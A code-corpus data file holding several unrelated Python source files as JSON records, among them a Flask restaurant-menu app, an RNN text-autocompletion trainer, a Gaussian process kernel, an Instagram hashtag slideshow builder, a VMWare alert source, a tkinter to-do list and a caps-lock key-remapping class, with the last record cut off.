JSON Format\n \"\"\"\n try:\n items = SESSION.query(MenuItem).filter_by(restaurant_id=restaurant_id).all()\n return jsonify(MenuItems=[i.serialize for i in items])\n except exc.SQLAlchemyError:\n return jsonify({\"error\": {\"code\": 404, \"message\": \"Error reading menu\"}})\n\n@APP.route('/restaurant//menu//JSON')\ndef restaurant_menu_item_json(restaurant_id, menu_id):\n \"\"\"\n Return a single menu-item in JSON Format\n \"\"\"\n try:\n selected_item = SESSION.query(MenuItem).filter_by(id=menu_id).one()\n return jsonify(MenuItem=selected_item.serialize)\n except exc.SQLAlchemyError:\n return jsonify({\"error\": {\"code\": 404, \"message\": \"Menu-item not found\"}})\n\n\n@APP.route('/')\n@APP.route('/restaurants/')\ndef show_restaurants():\n \"\"\"\n Show list of all restaurants\n \"\"\"\n restaurants = SESSION.query(Restaurant).all()\n return render_template('restaurants.html', restaurants=restaurants)\n\n@APP.route('/restaurant/new/', methods=['GET', 'POST'])\ndef new_restaurant():\n \"\"\"\n Add a new restaurant\n GET : Show page to enter information on new restaurant\n POST : Add restaurant to database\n \"\"\"\n if request.method == 'POST':\n add_it = Restaurant(\n name=request.form['name'])\n SESSION.add(add_it)\n SESSION.commit()\n flash(\"new restaurant created!\")\n return redirect(url_for('show_restaurants'))\n return render_template('newRestaurant.html')\n\n@APP.route('/restaurant//edit/', methods=['GET', 'POST'])\ndef edit_restaurant(restaurant_id):\n \"\"\"\n Edit a restaurant\n GET : Show page to update information on restaurant\n POST : Update restaurant in database\n \"\"\"\n try:\n edit_it = SESSION.query(Restaurant).filter_by(id=restaurant_id).one()\n if request.method == 'POST':\n if request.form['name']:\n edit_it.name = request.form['name']\n SESSION.add(edit_it)\n SESSION.commit()\n flash(\"Restaurant updated!\")\n return redirect(url_for('show_restaurants'))\n return render_template('editrestaurant.html', restaurant=edit_it)\n except exc.SQLAlchemyError:\n return redirect(url_for('error'))\n\n@APP.route('/restaurant//delete/', methods=['GET', 'POST'])\ndef delete_restaurant(restaurant_id):\n \"\"\"\n Delete a restaurant\n GET : Show page to confirm delete\n POST : Delete restaurant from database\n \"\"\"\n delete_it = SESSION.query(Restaurant).filter_by(id=restaurant_id).one()\n if request.method == 'POST':\n SESSION.delete(delete_it)\n SESSION.commit()\n flash(\"Restaurant deleted\")\n return redirect(url_for('show_restaurants'))\n return render_template('deleterestaurant.html', restaurant=delete_it)\n\n@APP.route('/restaurant//')\n@APP.route('/restaurant//menu/')\ndef show_menu(restaurant_id):\n \"\"\"\n Show the menu for a restaurant\n \"\"\"\n restaurant = SESSION.query(Restaurant).filter_by(id=restaurant_id).one()\n items = SESSION.query(MenuItem).filter_by(restaurant_id=restaurant.id)\n return render_template('menu.html', restaurant=restaurant, items=items)\n\n@APP.route('/restaurant//menu/new/', methods=['GET', 'POST'])\ndef new_menu_item(restaurant_id):\n \"\"\"\n Add a menu-item for the restaurant\n GET : Show page to enter menu-information\n POST : Add menu to database\n \"\"\"\n if request.method == 'POST':\n new_item = MenuItem(\n name=request.form['name'],\n restaurant_id=restaurant_id,\n description=request.form['description'],\n price=request.form['price'],\n course=request.form['course'])\n SESSION.add(new_item)\n SESSION.commit()\n flash(\"Menu-item added\")\n return redirect(url_for('show_menu', restaurant_id=restaurant_id))\n return render_template('newmenuitem.html', restaurant_id=restaurant_id)\n\n@APP.route('/restaurant//menu//edit/', methods=['GET', 'POST'])\ndef edit_menu_item(restaurant_id, menu_id):\n \"\"\"\n Edit a menu-item for a restaurant\n GET : Show page to edit menu-Item\n POST : Store update in database\n \"\"\"\n edit_it = SESSION.query(MenuItem).filter_by(id=menu_id).one()\n if request.method == 'POST':\n if request.form['name']:\n edit_it.name = request.form['name']\n edit_it.description = request.form['description']\n edit_it.price = request.form['price']\n edit_it.course = request.form['course']\n SESSION.add(edit_it)\n SESSION.commit()\n flash(\"Menu-item updated\")\n return redirect(url_for('show_menu', restaurant_id=restaurant_id))\n return render_template('editmenuitem.html', restaurant_id=restaurant_id,\n menu_id=menu_id, item=edit_it)\n\n@APP.route('/restaurant//menu//delete/', methods=['GET', 'POST'])\ndef delete_menu_item(restaurant_id, menu_id):\n \"\"\"\n Delete a menu-item for a restaurant\n GET : Show confirmation page\n POST : Delete from database\n \"\"\"\n delete_it = SESSION.query(MenuItem).filter_by(id=menu_id).one()\n if request.method == 'POST':\n SESSION.delete(delete_it)\n SESSION.commit()\n flash(\"Menu-item deleted\")\n return redirect(url_for('show_menu', restaurant_id=restaurant_id))\n return render_template('deletemenuitem.html', restaurant_id=restaurant_id,\n menu_id=menu_id, item=delete_it)\n\n@APP.route('/error/')\ndef error():\n \"\"\"\n Show error page\n \"\"\"\n return render_template('error.html')\n\n@APP.after_request\ndef close_session(response):\n \"\"\"\n Close the session after request is handled\n and pass on the original response\n \"\"\"\n SESSION.remove()\n return response\n\nif __name__ == '__main__':\n APP.secret_key = 'super_secret_key'\n APP.debug = True\n APP.run(host='0.0.0.0', port=5000)\n","sub_path":"vagrant/final_project.py","file_name":"final_project.py","file_ext":"py","file_size_in_byte":7189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"159210567","text":"# AUTOCOMPLETION PROJECT - schacherer, klaus, bek #\n\n# IMPORT LIBRARIES #\nimport numpy as np\nfrom easydict import EasyDict as edict\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom torch.autograd import Variable\nimport torch.autograd as autograd\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport itertools\nfrom matplotlib import pyplot as plt\nimport heapq\nimport random\n\n# CLASS DEFINITIONS #\nclass TextDataset(Dataset):\n ''' A text dataset class which implements the abstract class torch.utils.data.Dataset. '''\n\n def __init__(self, text, seq_len, offset, char_idx, idx_char):\n self.data, self.target = prepare_data(text, seq_len, offset, char_idx, idx_char)\n\n def __getitem__(self, index):\n ''' Get the data for one training sample (by index) '''\n return self.data[index, :, :], self.target[index]\n\n def __len__(self):\n ''' Get the number of training samples '''\n return self.data.shape[0]\n\nclass LSTM_RNN(nn.Module):\n ''' Class defining a recurrent neural network for text autocompletion tasks. '''\n\n def __init__(self, no_classes):\n super(LSTM_RNN, self).__init__()\n\n self.lstm = nn.GRU(input_size=no_classes, hidden_size=args.hidden_size, num_layers=args.num_layers)\n self.linear = nn.Linear(in_features=args.hidden_size, out_features=no_classes)\n\n nn.init.normal(self.linear.weight, 0, 0.075)\n nn.init.normal(self.linear.bias, 0, 0.075)\n nn.init.xavier_normal(self.lstm.weight_hh_l0)\n nn.init.xavier_normal(self.lstm.weight_ih_l0)\n\n # LSTM needs hidden variables which is initialized in self.init_hidden(self)\n self.hidden = self.init_hidden()\n\n def init_hidden(self):\n h0 = Variable(torch.zeros(args.num_layers, args.batch_size, args.hidden_size))\n return h0\n\n def forward(self, x, hidden):\n lstm_out, hidden = self.lstm(x, hidden) # (h0, c0 are set to default values)\n linear_out = self.linear(lstm_out[-1])\n return linear_out, hidden\n\n## ROUTINE DEFINITIONS ##\n\n## simple config handler\ndef set_config(config_path = \"config.txt\", args = dict()):\n ''' Function that reads configuration parameters from a text file source. \n Returns an edict containing all parameters and their respective values. '''\n \n with open(config_path) as source:\n for line in source:\n line = line.strip()\n argLong, valueLong = line.split('=')\n arg = argLong.strip()\n value = valueLong.strip()\n if value == 'True':\n value = True\n elif value == 'False':\n value = False\n elif '.' in value:\n value = float(value)\n else:\n value = int(value)\n args[arg] = value\n return edict(args)\n\n## data processing routine\n\ndef prepare_text(textsource):\n ''' Function that reads a text from a textfile with encoding utf8. \n It removes all special characters, but keeps spaces. \n in: \n textsource: path of the textfile to read\n out:\n text: string containing the text in lower case and without any special characters. '''\n \n text = ''\n with open(textsource, encoding=\"utf8\") as txtsource:\n for line in txtsource:\n line = line.strip().lower()\n line = ''.join(c for c in line if c.isalnum() or c == ' ')\n text += ' ' + line\n text = text[:64100]\n return text\n\ndef prepare_data(text, seq_len, offset, char_idx, idx_char):\n ''' Function that generates one-hot encoded training/test features and target vectors\n from the given text.\n in: \n text: string containing the text from which the features should be generated from\n seq_len: sequence length of one training/test sample\n offset: offset by which two training/test samples should be spaced \n char_idx: dictionary mapping unique chars to indices\n idx_char: dictionary mapping indices to unique chars \n \n out:\n X: One-hot encoded vector of features\n y: vector of targets '''\n \n # Define training samples by splitting the text\n sentences = []\n next_chars = []\n for i in range(0, len(text) - seq_len, offset):\n sentences.append(text[i: i + seq_len])\n next_chars.append(text[i + seq_len])\n \n # Generate features and labels using one-hot encoding\n X = np.zeros((len(sentences), seq_len, len(chars)), dtype='f')\n y = np.zeros((len(sentences)))\n \n for i, sentence in enumerate(sentences):\n for j, char in enumerate(sentence):\n X[i, j, char_idx[char]] = 1\n y[i] = char_idx[next_chars[i]]\n \n return X, y\n\n## training routine\ndef train(model, epoch):\n ''' Training loop (one epoch) '''\n model.train()\n criterion = nn.CrossEntropyLoss() # use the cross-entropy loss\n total_loss = 0.0 # compute total loss over one epoch\n\n for batch_idx, (data, target) in enumerate(train_loader):\n data = data.transpose(0, 1) #swap seq_len and batch_size\n \n if args.cuda:\n data, target = data.cuda(), target.cuda()\n data, target = Variable(data), Variable(target)\n \n hidden = model.init_hidden()\n optimizer.zero_grad()\n loss = 0\n \n # Iterate over a sequence, predict every next character and accumulate the loss (multi-step loss/teacher-forcing)\n for c in range(args.seq_len - 1):\n output, hidden = model(data[c, :, :].contiguous().view(1, -1, no_classes), hidden) \n loss += criterion(output, decode(data[c+1, :, :])) # check how far away the output is from the original data\n \n output, hidden = model(data[args.seq_len-1, :, :].contiguous().view(1, -1, no_classes), hidden)\n loss += criterion(output, target.type(torch.LongTensor))\n loss.backward(retain_graph=True)\n optimizer.step()\n \n total_loss += loss.data[0]\n\n relative_loss = total_loss/float(len(train_loader)*args.seq_len)\n print('Mean loss over epoch %s: %s' %(epoch, relative_loss))\n return relative_loss # return the relative loss for later analysis\n\n# evaluation routine\ndef evaluate(model, epoch):\n ''' Evaluation loop (one epoch)'''\n model.eval()\n criterion = nn.CrossEntropyLoss() # use the cross-entropy loss\n total_loss = 0.0 # compute total loss over one epoch\n correct = 0\n\n for batch_idx, (data, target) in enumerate(test_loader):\n \n data = data.transpose(0, 1)\n if args.cuda:\n data, target = data.cuda(), target.cuda()\n data, target = Variable(data), Variable(target)\n \n hidden = model.init_hidden()\n optimizer.zero_grad()\n output, hidden = model(data, hidden)\n loss = criterion(output, target.type(torch.LongTensor)) \n pred = output.data.max(1, keepdim=True)[1] # get index of max log prob\n correct += pred.eq(target.type(torch.LongTensor).data.view_as(pred)).cpu().sum() # check for true predictions\n\n total_loss += loss.data[0]\n \n model.train()\n relative_loss = total_loss/float(len(test_loader))\n accuracy = correct/(len(test_loader)*args.batch_size)\n print('Mean test loss over epoch %s: %s' %(epoch, relative_loss))#loss.data[0]))\n print('Accuracy: ' + str(accuracy) + '([{}%])'.format(accuracy*100))\n\n return relative_loss, accuracy # return the relative loss and accuracy for later analysis\n\n## prediction routines\ndef rnn_predict(model, testdata):\n ''' Prediction loop for ONE testdata array '''\n testdata = torch.from_numpy(testdata)\n model.eval()\n\n if args.cuda:\n testdata = testdata.cuda()\n\n testdata = testdata.type(torch.FloatTensor)\n testdata = Variable(testdata)\n hidden = model.init_hidden()\n prediction = model(testdata.unsqueeze(1), hidden)\n\n return prediction\n\ndef prepare_input(text):\n ''' Function to create an one-hot encoding for the given text '''\n X = np.zeros((len(text), no_classes)) \n for t, char in enumerate(text): \n X[t, char_idx[char]] = 1.\n return X\n\ndef sample(preds, top_n=1):\n ''' Function returning the element(s) of preds with the highest probability. '''\n preds = preds[-1].data.numpy()\n exp_preds = np.exp(preds)\n preds = exp_preds / np.sum(exp_preds)\n\n return heapq.nlargest(len(preds), zip(preds, itertools.count()))\n\ndef predict_completion(model, text, topn=1, max_iterations=10, stop_on_space = True):\n ''' Function that iteratively predicts the following character until a space is predicted '''\n i = 0\n completion = ''\n next_char = '' \n while next_char != ' ' and i < max_iterations:\n \n i += 1\n x = prepare_input(text)\n preds = rnn_predict(model, x) # make a prediction\n next_chars = sample(preds[0], top_n=topn) # find character with highest prob.\n text = text[1:] + idx_char[next_chars[0][1]]\n completion += idx_char[next_chars[0][1]]\n \n if stop_on_space:\n next_char = idx_char[next_chars[0][1]]\n if next_char == ' ':\n completion = completion[:-1]\n break\n \n return completion\n\ndef predict_completions(model, text, n=3):\n ''' Function to give multiple possible completions of an input text. '''\n x = prepare_input(text)\n preds = model.rnn_predict(x, verbose=0)[0]\n next_indices = sample(preds, n)\n return [idx_char[idx] + predict_completion(text[1:] + idx_char[idx]) for idx in next_indices]\n\n## pick random testcases from test (validation) dataset with random sequence length\ndef get_testcases(text, seq_lengths = (10,100), offset = 1, num_cases = 50):\n ''' Function to generate test instances of different length from a given text. '''\n validation_sentences = []\n endings = []\n for i in range(0, len(text) - seq_lengths[1], offset):\n seq_len = random.randint(seq_lengths[0], seq_lengths[1])\n validation_sentences.append(text[i: i + seq_len])\n \n ending = ''\n while text[i + seq_len] != ' ':\n ending += text[i + seq_len]\n seq_len += 1\n endings.append(ending) \n \n idx = np.random.choice(np.arange(len(validation_sentences)), num_cases, replace=True)\n testcases = [validation_sentences[i] for i in idx]\n test_endings = [endings[i] for i in idx]\n \n return testcases, test_endings\n\n## further (general-purpose) routines\ndef findOnes(sample):\n ''' Helper function to find the 1 in a one-hot encoded vector. '''\n arr = sample.data.numpy()\n i = 0\n flag = False\n for k in np.nditer(arr):\n if k == 1:\n flag = True\n break\n i += 1\n if flag == True:\n return i\n else:\n return 0\n\ndef decode(data):\n ''' Function to find the index of one-hot encoded vector where the 1 is located. '''\n class_tensor = torch.LongTensor(args.batch_size)\n for i in range(args.batch_size):\n class_tensor[i] = findOnes(data[i])\n \n return Variable(class_tensor)\n\ndef lfactor(num):\n ''' Function that returns the largest factor of number that isn't the number itself '''\n \n for i in range(num - 1, 0, -1): # go backwards from num - 1 to 1\n if num % i == 0: # if a number divides evenly\n return i # it's the largest factor\n\ndef plotLineData(header, yLabel, firstData, firstLabel, firstColor='b', xLabel='epoch'):\n ''' Plot function '''\n \n plt.plot(firstData, color=firstColor)\n plt.title(header)\n plt.ylabel(yLabel)\n plt.xlabel(xLabel)\n plt.legend([firstLabel], loc='upper right')\n plt.savefig(str(header) + '.png')\n plt.show()\n\n# MAIN CODE #\n\n## data Preprocessing, training and testing\n\nif __name__ == '__main__':\n # Load configurations\n config_path = 'config.txt'\n args = {}\n args = set_config(config_path, args)\n\n ''' Use the whole text to generate char indices map and indices char map '''\n text = prepare_text('./nietzsche_eng_edit.txt')\n chars = sorted(list(set(text))) # get all the unique characters appearing in the text\n char_idx = dict((c, i) for i, c in enumerate(chars))\n idx_char = dict((i, c) for i, c in enumerate(chars))\n no_classes = len(chars) # the nr. of unique characters corresponds to the nr. of classes\n\n ''' Set further parameter input shape defined as seq_ * nr. of unique characters '''\n input_shape = (args.seq_len, no_classes)\n\n ''' Generate train and test loader from our data '''\n train_text = prepare_text('./nietzsche_eng_train.txt')\n train_set = TextDataset(train_text, args.seq_len, args.offset, char_idx, idx_char)\n train_loader = DataLoader(train_set, batch_size = args.batch_size, shuffle=True)\n\n test_text = prepare_text('./nietzsche_eng_test.txt')\n test_set = TextDataset(test_text, args.seq_len, args.offset, char_idx, idx_char)\n test_loader = DataLoader(test_set, batch_size = args.batch_size, shuffle=True)\n\n # Generate model or reload model (then outcomment the last line in this block)\n if args.pretrained == True:\n rnn = torch.load(\"pred.pt\")\n else:\n rnn = LSTM_RNN(no_classes)\n if args.cuda:\n rnn.cuda()\n print(rnn)\n\n # Initialize the optimization algorithm\n optimizer = optim.Adam(rnn.parameters(), lr=args.lr)\n\n # Run training and store history\n history = dict()\n history['loss_train'] = []\n history['loss_test'] = []\n history['acc'] = []\n\n # train for (args.stop_epoch) epochs\n for epoch in range(args.stop_epoch+1):\n loss_train = train(rnn, epoch)\n loss_test, accuracy = evaluate(rnn, epoch)\n history['loss_train'].append(loss_train)\n history['loss_test'].append(loss_test)\n history['acc'].append(accuracy)\n torch.save(rnn, 'GRU-autocompletion-epoch#{}.pt'.format(epoch))\n\n # Create plots of train loss, test loss and accuracy\n plotLineData(\"Training loss\", \"loss\", history['loss_train'], \"loss\")\n plotLineData(\"Test loss\", \"loss\", history['loss_test'], \"loss\")\n plotLineData(\"Accuracy\", \"acc\", history['acc'], \"acc\")\n\n # #### Test Predictions\n\n print('Predict Words: \\n')\n # test 50 prefixes\n testcases, test_endings = get_testcases(test_text, seq_lengths=(10, 100), num_cases=3)\n correct = 0\n for i, case in enumerate(testcases):\n completion = predict_completion(rnn, case.lower())\n print('Prefix: ' + str(case) + '\\n Completion: ' + str(completion))\n if completion == test_endings[i]:\n correct += 1\n\n print('Test: #words matching source text: {}'.format(correct))\n\n # text_generation from preselected word prefixes\n testcases_words = [\"justice\", \"responsibility\", \"freedom\", \"psychologist\"]\n # load specific text generation parameters\n rnn = torch.load(\"text_gen.pt\")\n for case in testcases_words:\n print('Generated text from seed ' + str(case) + ': ' + str(predict_completion(rnn, case.lower(), max_iterations=300, stop_on_space=False)))","sub_path":"final_folder/code/autocompletion.py","file_name":"autocompletion.py","file_ext":"py","file_size_in_byte":15144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"77686549","text":"#!/usr/bin/env python3\n'''0. Initialize Gaussian Process'''\nimport numpy as np\n\n\nclass GaussianProcess:\n '''represents a noiseless 1D Gaussian process'''\n def __init__(self, X_init, Y_init, l=1, sigma_f=1):\n '''Class constructor'''\n self.X = X_init\n self.Y = Y_init\n self.l = l\n self.sigma_f = sigma_f\n self.K = self.kernel(X_init, X_init)\n\n def kernel(self, X1, X2):\n '''calculates the covariance kernel\n matrix between two matrices'''\n return self.sigma_f ** 2 * np.exp(\n -0.5 / self.l ** 2 * (\n np.sum(\n X1 ** 2, 1\n ).reshape(\n -1, 1\n ) + np.sum(\n X2 ** 2, 1\n ) - 2 * np.dot(\n X1, X2.T\n )\n )\n )\n","sub_path":"unsupervised_learning/0x03-hyperparameter_tuning/0-gp.py","file_name":"0-gp.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"85633814","text":"import datetime\nimport os\nimport time\n\nimport click\nimport progressbar\nfrom bs4 import BeautifulSoup\n\nfrom crawler import get_posts_by_hashtag\n\n\ndef __init__html():\n \"\"\"Intialise an HTML Document\n \n Returns:\n str -- string representation of a HTML Document\n \"\"\"\n return ('\\n\\n\\n\\nSlideShow\\n'\n '\\n\\n\\n\\n\\n
\\n
\\n\\n\\n')\n\n\ndef __create_content(img_src, alt):\n \"\"\"Page Element for an image\n \n Arguments:\n img_src {str} -- image source\n alt {str} -- alternative text for image\n \"\"\"\n return('
\\n'\n '
\\n'\n '
\\n
'\n f'{alt}'\n '
\\n
\\n
\\n
')\n\n\ndef create_slideshow(soup=None, hashtags=None, html_file='index.html'):\n \"\"\"Creates hashtag slideshow as an HTML Document\n \n Keyword Arguments:\n soup {BeautifulSoap} -- A data structure representing a parsed HTML\n document (default: {None})\n hashtags {list} -- a list of hashtag urls and their respective keys\n (default: {None})\n html_file {str} -- an HTML file (default: {'index.html'})\n \n Returns:\n BeautifulSoap -- A data structure representing a parsed HTML document\n \"\"\"\n target = soup.find(class_= 'container')\n\n bar = progressbar.ProgressBar(max_value=len(hashtags),\n prefix='Updating HTML file: ')\n bar.start()\n for hashtag in hashtags:\n img_src = hashtag['img_url']\n img_key = hashtag['key']\n # url_alt = img_src.split('?')[0]\n \n # skip inserting URL if it already exists in target\n search_result = target.find(attrs={'alt': img_key})\n if search_result is None:\n content = __create_content(img_src, alt=img_key)\n\n # create a temporary document from your HTML\n temp = BeautifulSoup(content, \"html.parser\")\n\n # the nodes we want to insert are children of the in `temp`\n nodes_to_insert = temp.children\n\n # insert them, in source order\n for j, node in enumerate(nodes_to_insert):\n target.insert(j, node)\n\n bar += 1\n bar.finish()\n return soup\n\n\ndef write_soup_to_file(output_file=\"index.html\", soup=None):\n with open(output_file, \"w\", encoding='utf-8') as file:\n file.write(str(soup))\n\n@click.command()\n@click.argument('hashtag')\n@click.argument('number', default=100)\n@click.argument('sleep_time', default=86400)\n@click.option('--clear', is_flag=True)\n@click.option('--html', default='index.html', help='html file to update',\n type=click.Path())\ndef main(hashtag, number, sleep_time, clear, html):\n soup = None\n\n if os.path.exists(html):\n # open file and check if the slideshow is for the current hashtag\n with open(html, encoding='utf8') as fp:\n soup = BeautifulSoup(fp, \"html.parser\")\n\n tag = soup.title.string.split(' ')[0]\n if tag != f'#{hashtag}' and not clear:\n raise click.ClickException(f\"{html} is for a different hashtag. \"\n \"Please include the --clear flag to \"\n \"remove file.\")\n if clear:\n os.remove(html)\n\n if not os.path.exists(html):\n soup = BeautifulSoup(__init__html(), \"html.parser\")\n\n while True:\n print('>> App Stated - Please be patient.. '\n 'This may take sometime to complete...')\n\n current_time = datetime.datetime.now()\n if os.path.exists(html):\n # get updated soup\n with open(html, encoding='utf8') as fp:\n soup = BeautifulSoup(fp, \"html.parser\")\n\n hashtags = get_posts_by_hashtag(tag=hashtag, number=number)\n soup = create_slideshow(soup=soup, hashtags=hashtags)\n\n # update html's title\n title = soup.title.string\n update_title = f'#{hashtag} slideshow'\n if title != update_title:\n soup.title.string = update_title\n \n write_soup_to_file(output_file=html, soup=soup)\n print(f'>> {html} has been updated.')\n\n # sleep_time in seconds\n next_time = current_time + datetime.timedelta(seconds=sleep_time)\n print(f'>> App will wake in {next_time}')\n \n time.sleep(sleep_time)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"hashtag.py","file_name":"hashtag.py","file_ext":"py","file_size_in_byte":7023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"623839156","text":"import pickle as pickle\n\nfrom lockfile import LockFile\n\nfrom middlewared.alert.base import AlertClass, OneShotAlertClass, AlertCategory, AlertLevel, Alert, ThreadedAlertSource\n\nVMWARELOGIN_FAILS = \"/var/tmp/.vmwarelogin_fails\"\n\n\nclass VMWareLoginFailedAlertClass(AlertClass, OneShotAlertClass):\n category = AlertCategory.TASKS\n level = AlertLevel.WARNING\n title = \"VMWare Login Failed\"\n text = \"VMWare login to %(hostname)s failed: %(error)s.\"\n\n async def create(self, args):\n return Alert(VMWareLoginFailedAlertClass, args)\n\n async def delete(self, alerts, query):\n hostname = query\n\n return list(filter(\n lambda alert: alert.args[\"hostname\"] != hostname,\n alerts\n ))\n\n\nclass LegacyVMWareLoginFailedAlertSource(ThreadedAlertSource):\n def check_sync(self):\n try:\n with LockFile(VMWARELOGIN_FAILS):\n with open(VMWARELOGIN_FAILS, \"rb\") as f:\n fails = pickle.load(f)\n except Exception:\n return\n\n alerts = []\n for oid, errmsg in list(fails.items()):\n try:\n vmware = self.middleware.call_sync(\"datastore.query\", \"storage.vmwareplugin\", [[\"id\", \"=\", oid]],\n {\"get\": True})\n except IndexError:\n continue\n\n alerts.append(Alert(VMWareLoginFailedAlertClass, {\n \"hostname\": vmware[\"hostname\"],\n \"error\": errmsg,\n }))\n\n return alerts\n","sub_path":"src/middlewared/middlewared/alert/source/vmware_login.py","file_name":"vmware_login.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"260337143","text":"import subprocess\n\n\nclass SystemInfo(object):\n def get_kernel_version(self):\n '''Get the kernel version\n\n Returns:\n str: kernel version\n '''\n command = 'uname -r'\n exception_raise = \"Getting infomation (kernel version) is failed.\"\n out = self.__process_popen(command, exception_raise)\n return out.rstrip()\n\n def get_os_version(self):\n '''Get the os version\n\n Returns:\n str: os version\n '''\n command = 'lsb_release -d'\n exception_raise = \"Getting infomation (os version) is failed.\"\n out = self.__process_popen(command, exception_raise)\n os_version = out.rstrip().split('\\t')[1]\n return os_version\n\n def get_os_codename(self):\n '''Get the os codename\n\n Returns:\n str: os codename\n '''\n command = 'lsb_release -c'\n exception_raise = \"Getting infomation (os codename) is failed.\"\n out = self.__process_popen(command, exception_raise)\n os_codename = out.rstrip().split('\\t')[1]\n return os_codename\n\n def __process_popen(self, command, exception_raise):\n '''The template of subprocess popen.\n\n Args:\n command(str): The command need to be launched.\n exception_raise(str): The exception raise warning message.\n\n Returns:\n str: The output of command.\n '''\n proc = subprocess.Popen(command, shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n out, err = proc.communicate()\n if proc.returncode != 0:\n raise Exception(exception_raise)\n return out\n","sub_path":"system_info/system_info.py","file_name":"system_info.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"589954931","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nimport sqlite3, os\r\nfrom PIL import ImageTk, Image\r\n\r\nroot = Tk()\r\nroot.geometry(\"500x280\")\r\nroot.title(\"To-do List\")\r\n\r\ntext_to_do = StringVar()\r\nim_checked = ImageTk.PhotoImage(Image.open(\"im_checked.png\").resize((16, 16)))\r\nim_not_checked = ImageTk.PhotoImage(Image.open(\"im_not_checked.png\").resize((16, 16)))\r\n\r\nclass ToDoList:\r\n def __init__(self):\r\n self.main()\r\n\r\n def add_item(self):\r\n db = sqlite3.connect('connection')\r\n cursor = db.cursor()\r\n cursor.execute(\"INSERT INTO todolist VALUES (NULL, ?, ?)\", (False, text_to_do.get()))\r\n db.commit()\r\n db.close()\r\n self.show_items()\r\n\r\n def remove_item(self):\r\n if todo_list_items.focus() != \"\":\r\n db = sqlite3.connect('connection')\r\n cursor = db.cursor()\r\n cursor.execute(\"DELETE FROM todolist WHERE ID = ?\", (todo_list_items.focus(),))\r\n db.commit()\r\n db.close()\r\n self.show_items()\r\n\r\n def mark_as_completed(self):\r\n db = sqlite3.connect(\"connection\")\r\n cursor = db.cursor()\r\n cursor.execute('SELECT * FROM todolist')\r\n result = cursor.fetchall()\r\n try:\r\n for row in result:\r\n if int(row[0]) == int(todo_list_items.focus()):\r\n if row[1] == False:\r\n cursor.execute(\"UPDATE todolist SET done = ? WHERE id = ?\", (True, todo_list_items.focus()))\r\n else:\r\n cursor.execute(\"UPDATE todolist SET done = ? WHERE id = ?\", (False, todo_list_items.focus()))\r\n db.commit()\r\n db.close()\r\n break\r\n self.show_items()\r\n except:\r\n db.close()\r\n pass\r\n\r\n def show_items(self):\r\n records = todo_list_items.get_children()\r\n for element in records:\r\n todo_list_items.delete(element)\r\n db = sqlite3.connect('connection')\r\n cursor = db.cursor()\r\n cursor.execute(\"SELECT * FROM todolist ORDER BY id DESC\")\r\n query = cursor.fetchall()\r\n for row in query:\r\n if row[1] == False:\r\n todo_list_items.insert(\"\", 0, value=row[2:], iid=row[0], tag=\"unchecked\")\r\n else:\r\n todo_list_items.insert(\"\", 0, value=row[2:], iid=row[0], tag=\"checked\")\r\n db.close()\r\n\r\n def main(self):\r\n if os.path.isfile(\"connection\"):\r\n db = sqlite3.connect('connection')\r\n db.close()\r\n else:\r\n db = sqlite3.connect('connection')\r\n cursor = db.cursor()\r\n cursor.execute(\"\"\"CREATE TABLE todolist (\\\r\n id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\r\n done BOOLEAN NOT NULL,\r\n task VARCHAR(30) NOT NULL)\"\"\")\r\n self.show_items()\r\n\r\ndef on_double_click(event):\r\n todo.mark_as_completed()\r\n\r\ndef handle_click(event):\r\n if todo_list_items.identify_region(event.x, event.y) == \"separator\":\r\n return \"break\"\r\n\r\ntodo_list_items = ttk.Treeview(root, columns=2, height=10, selectmode='browse')\r\ntodo_list_items.grid(row=1, column=0)\r\ntodo_list_items.heading(\"#0\", text=\"\", anchor=W)\r\ntodo_list_items.column(\"#0\", minwidth=40, width=40)\r\ntodo_list_items.heading(2, text=\"Item\", anchor=W)\r\ntodo_list_items.column(2, minwidth=380, width=380)\r\n\r\n\r\ntodo_list_items.tag_configure(\"checked\", image=im_checked)\r\ntodo_list_items.tag_configure(\"unchecked\", image=im_not_checked)\r\ntodo_list_items.bind(\"\", on_double_click)\r\ntodo_list_items.bind(\"\", handle_click)\r\ntodo = ToDoList()\r\nEntry(root, textvariable=text_to_do, width=70).grid(row=0, column=0, sticky=N, padx=5, pady=5)\r\nButton(root, text=\"Add\", command=todo.add_item).grid(row=0, column=1, sticky=NW, padx=5)\r\nButton(root, text=\"Delete\", command=todo.remove_item).grid(row=1, column=1, sticky=NW, padx=0)\r\nroot.resizable(False, False)\r\nroot.mainloop()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"136163105","text":"import keyboard\nimport time\n\n\nclass KeyBrain:\n\n active = False # whether unlocc is active or not\n master = 'caps lock' # master key identity\n lastType = keyboard.KEY_UP\n lastHit = 0 # time at which master key was last hit\n timeout = 0.3 # second timeout between presses for double\n recordMode = True\n recordedEvents = []\n hook = None\n swaps = {}\n\n def __init__(self, master, recordmode, swaps):\n self.master = master\n self.recordMode = recordmode\n self.swaps = swaps\n self.init_master()\n\n def init_master(self):\n keyboard.hook_key(\n key=self.master, callback=self.masterpress, suppress=True)\n\n def masterpress(self, event):\n down = event.event_type == keyboard.KEY_DOWN\n double = down and ((time.time() - self.lastHit) < self.timeout)\n\n if down and self.lastType == keyboard.KEY_DOWN:\n return\n\n self.lastType = event.event_type\n\n if event.event_type == keyboard.KEY_DOWN:\n print(time.time() - self.lastHit)\n\n if double:\n print('sending a turnon')\n self.deactivate()\n keyboard.send(self.master)\n elif event.event_type == 